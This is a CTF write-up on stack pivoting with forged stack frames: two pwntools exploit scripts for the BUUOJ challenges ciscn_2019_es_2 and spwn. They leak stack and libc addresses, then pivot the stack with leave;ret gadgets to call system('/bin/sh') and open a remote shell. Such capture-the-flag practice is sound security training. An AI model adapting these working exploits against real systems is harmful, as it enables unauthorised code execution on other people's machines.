pwn 栈迁移之伪造栈帧

ciscn_2019_es_2

#!/usr/bin/env python2
# coding=utf-8
from pwn import *

arch = "i386"
filename = "ciscn_2019_es_2"

context(os="linux", arch=arch, log_level="debug")
content = 1

offset = 0
# elf
elf = ELF(filename)
leave_ret=0x08048562
system_addr=0x08048559
# libc


def b(addr):
    bk = "b *" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("node3.buuoj.cn",28340)
    gdb.attach(io,b'b read')
    payload=b'a'*(0x24)
    io.send(payload)
    io.recvuntil("Hello, ")
    io.recvuntil(b'a'*(0x24))
    addr=u32(io.recv(4))
    print("addr:",hex(addr))   #228
    io.recv()
    payload=b'aaaa'+p32(system_addr)+p32(addr-216)+b'/bin/sh\x00'
    payload=payload.ljust(0x28,b'a')
    payload+=p32(addr-228)+p32(leave_ret)
    io.sendline(payload)
    io.interactive()
main()

spwn

#!/usr/bin/env python2
# coding=utf-8
from pwn import *

arch = "i386"
filename = "spwn"

context(os="linux", arch=arch, log_level="debug")
content = 1

offset = 0
# elf
elf = ELF(filename)
s_addr=0x0804A300
leave_addr=0x08048408
puts_plt=elf.plt['puts']
write_plt=elf.plt['write']
write_got=elf.got['write']
puts_got=elf.got['puts']
main_addr=elf.symbols['main']
# libc
libc=ELF("16-32libc-2.23.so")
puts_libc=libc.symbols['puts']
write_libc=libc.symbols['write']
sys_libc=libc.symbols['system']
binsh_libc=next(libc.search(b'/bin/sh'))

def b(addr):
    bk = "b *" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("node3.buuoj.cn",28531)
    #leak
    io.recvuntil('What is your name?')
    payload=b'aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
    #payload = b'aaaa' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
    io.send(payload)
    io.recvuntil('What do you want to say?')
    payload=b'a'*(0x18)+p32(s_addr)+p32(leave_addr)
    io.send(payload)
    write_addr=u32(io.recv(4))
    print("write_addr:",hex(write_addr))
    #count
    libcbase=write_addr-write_libc
    #libcbase = write_addr - puts_libc
    sys_addr=libcbase+sys_libc
    binsh_addr=libcbase+binsh_libc
    #getshell
    io.recvuntil('What is your name?')
    payload = b'aaaa' + p32(sys_addr) + p32(main_addr) + p32(binsh_addr)
    io.send(payload)
    io.recvuntil('What do you want to say?')
    payload = b'a' * (0x18) + p32(s_addr) + p32(leave_addr)
    io.send(payload)
    io.interactive()
main()